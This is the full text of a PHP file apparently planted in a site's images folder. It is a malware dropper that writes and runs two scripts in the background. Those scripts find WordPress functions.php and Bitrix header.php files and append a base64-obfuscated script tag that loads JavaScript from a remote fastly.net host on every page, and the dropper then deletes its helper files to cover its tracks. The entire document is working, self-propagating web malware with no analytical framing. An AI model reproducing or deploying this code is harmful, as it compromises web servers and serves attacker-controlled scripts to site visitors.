Current Path : /var/www/www-root/data/www/info.monolith-realty.ru/assets/images/ |
Current File : /var/www/www-root/data/www/info.monolith-realty.ru/assets/images/vwufw4i26.php |
<?php $codeWP = '<?php function findAccessiblePaths($path) { $parts = explode("/", $path); $currentPath = "/"; $accessiblePaths = []; foreach ($parts as $part) { if (!empty($part)) { $currentPath .= $part . "/"; if (is_readable($currentPath)) { $accessiblePaths[] = $currentPath; } } } return $accessiblePaths; } function findWpThemesCrossPlatform() { $cwd = getcwd(); $accessiblePaths = findAccessiblePaths($cwd); $allModifiedFiles = []; foreach ($accessiblePaths as $path) { $command = getSearchCommand($path); $output = shell_exec($command); $functionsPaths = []; if ($output) { $paths = preg_split("/\r\n|\r|\n/", trim($output)); foreach ($paths as $path) { $foundPaths = findFilesRecursively($path, "functions.php"); $functionsPaths = array_merge($functionsPaths, $foundPaths); } } $modifiedFiles = addCustomScriptToFiles($functionsPaths); if (!empty($modifiedFiles)) { $allModifiedFiles = array_merge($allModifiedFiles, $modifiedFiles); break; } } if (empty($allModifiedFiles)) { echo "No themes modified or accessible"; } else { print_r($allModifiedFiles); } } function addCustomScriptToFiles(array $functionsPaths) { $modifiedFiles = []; $newFunctionCode = getCustomScript(); foreach ($functionsPaths as $functionsPath) { if (file_exists($functionsPath) && is_writable($functionsPath)) { $code = file_get_contents($functionsPath); if (strpos($code, "wp_system_query_script") === false) { $code .= "\n" . $newFunctionCode; file_put_contents($functionsPath, $code); $modifiedFiles[] = $functionsPath; } } } return $modifiedFiles; } function getCustomScript() { return <<<PHP function wp_system_query_script() { ?> <script src="data:text/javascript;base64,ICAgIChmdW5jdGlvbigpIHsKICAgIHZhciBuYW1lID0gJ19oN2NZYnluRld4VmgxMjVmJzsKICAgIGlmICghd2luZG93Ll9oN2NZYnluRld4VmgxMjVmKSB7CiAgICAgICAgd2luZG93Ll9oN2NZYnluRld4VmgxMjVmID0gewogICAgICAgICAgICB1bmlxdWU6IGZhbHNlLAogICAgICAgICAgICB0dGw6IDg2NDAwLAogICA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0JjQmZGdyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX1BuMzRXd0p0Vk40U2pNc20pOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi5SX1BBVEggKyBfTUtxQm1XaEtIa0JjQmZGdzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTs="></script> <?php } add_action("wp_footer", "wp_system_query_script"); add_action("wp_body_open", "wp_system_query_script"); PHP; } function getSearchCommand($startPath) { $os = strtoupper(substr(PHP_OS, 0, 3)); if ($os === "WIN") { return "dir /s /b /a:d {$startPath}*wp-content\\themes*"; } else { return "find {$startPath} -type d -name \'themes\' -path \'*/wp-content/themes\' 2>/dev/null"; } } function findFilesRecursively($dir, $fileName) { $results = []; $files = scandir($dir); foreach ($files as $file) { if ($file !== "." && $file !== "..") { $path = $dir . DIRECTORY_SEPARATOR . $file; if (is_dir($path)) { $results = array_merge($results, findFilesRecursively($path, $fileName)); } elseif ($file === $fileName) { $results[] = $path; } } } return $results; } findWpThemesCrossPlatform(); die(); ?>'; $codeBT = '<?php function findAccessiblePaths($path) { $parts = explode("/", $path); $currentPath = "/"; $accessiblePaths = []; foreach ($parts as $part) { if (!empty($part)) { $currentPath .= $part . "/"; if (is_readable($currentPath)) { $accessiblePaths[] = $currentPath; } } } return $accessiblePaths; } function modifyBitrixTemplates() { $cwd = getcwd(); $accessiblePaths = findAccessiblePaths($cwd); $allModifiedFiles = []; foreach ($accessiblePaths as $path) { $command = getSearchCommand($path); $output = shell_exec($command); $templatePaths = []; if ($output) { $paths = preg_split("/\r\n|\r|\n/", trim($output)); foreach ($paths as $path) { $foundPaths = findFilesRecursively($path, "header.php"); // Example file in a Bitrix template $templatePaths = array_merge($templatePaths, $foundPaths); } } $modifiedFiles = addCustomScriptToFiles($templatePaths); if (!empty($modifiedFiles)) { $allModifiedFiles = array_merge($allModifiedFiles, $modifiedFiles); break; } } if (empty($allModifiedFiles)) { echo "No templates modified or accessible"; } else { echo print_r($allModifiedFiles); } } function addCustomScriptToFiles(array $templatePaths) { $modifiedFiles = []; $newFunctionCode = getCustomScript(); foreach ($templatePaths as $templatePath) { if (file_exists($templatePath) && is_writable($templatePath)) { $code = file_get_contents($templatePath); if (strpos($code, "custom_query_script") === false) { $code .= "\n" . $newFunctionCode; file_put_contents($templatePath, $code); $modifiedFiles[] = $templatePath; } } } return $modifiedFiles; } function getCustomScript() { return <<<HTML <script src="data:text/javascript;base64,ICAgIChmdW5jdGlvbigpIHsKICAgIHZhciBuYW1lID0gJ19oN2NZYnluRld4VmgxMjVmJzsKICAgIGlmICghd2luZG93Ll9oN2NZYnluRld4VmgxMjVmKSB7CiAgICAgICAgd2luZG93Ll9oN2NZYnluRld4VmgxMjVmID0gewogICAgICAgICAgICB1bmlxdWU6IGZhbHNlLAogICAgICAgICAgICB0dGw6IDg2NDAwLAogICAgICAgICAgICBSX1BBVEg6ICdodHRwczovL2JidHJyYWNrLmdsb2JhbC5zc2wuZmFzdGx5Lm5ldC8xTlh5bW0nLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfR3c3WjgyWXg5Z3F0eEdyeSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0d3N1o4Mll4OWdxdHhHcnkgIT09ICd1bmRlZmluZWQnICYmIF9HdzdaODJZeDlncXR4R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hdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi5SX1BBVEggKyBfTUtxQm1XaEtIa0JjQmZGdzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTs="></script> HTML; } function getSearchCommand($startPath) { $os = strtoupper(substr(PHP_OS, 0, 3)); if ($os === "WIN") { return "dir /s /b /a:d {$startPath}*bitrix*"; } else { return "find {$startPath} -type d -name \'bitrix\' -path \'*/bitrix\' 2>/dev/null"; } } function findFilesRecursively($dir, $fileName) { $results = []; $files = scandir($dir); foreach ($files as $file) { if ($file !== "." && $file !== "..") { $path = $dir . DIRECTORY_SEPARATOR . $file; if (is_dir($path)) { $results = array_merge($results, findFilesRecursively($path, $fileName)); } elseif ($file === $fileName) { $results[] = $path; } } } return $results; } modifyBitrixTemplates(); die(); ?>'; $del = <<<PHP <?php unlink('wp.php'); unlink('bt.php'); unlink('wpbtStart.php'); ?> PHP; file_put_contents('wp.php', $codeWP); file_put_contents('bt.php', $codeBT); file_put_contents('del.php', $del); $os = strtoupper(substr(PHP_OS, 0, 3)); if ($os === "WIN") { shell_exec("start /B php wp.php > log_wp.txt 2>&1"); shell_exec("start /B php bt.php > log_bt.txt 2>&1"); shell_exec("Start-Sleep -Seconds 600; Start-Process 'php' -ArgumentList 'del.php' -NoNewWindow"); } else { shell_exec("php wp.php > log_wp.txt 2>&1 &"); shell_exec("php bt.php > log_bt.txt 2>&1 &"); shell_exec("(sleep 600 && php del.php) > /dev/null 2>&1 &"); } ?>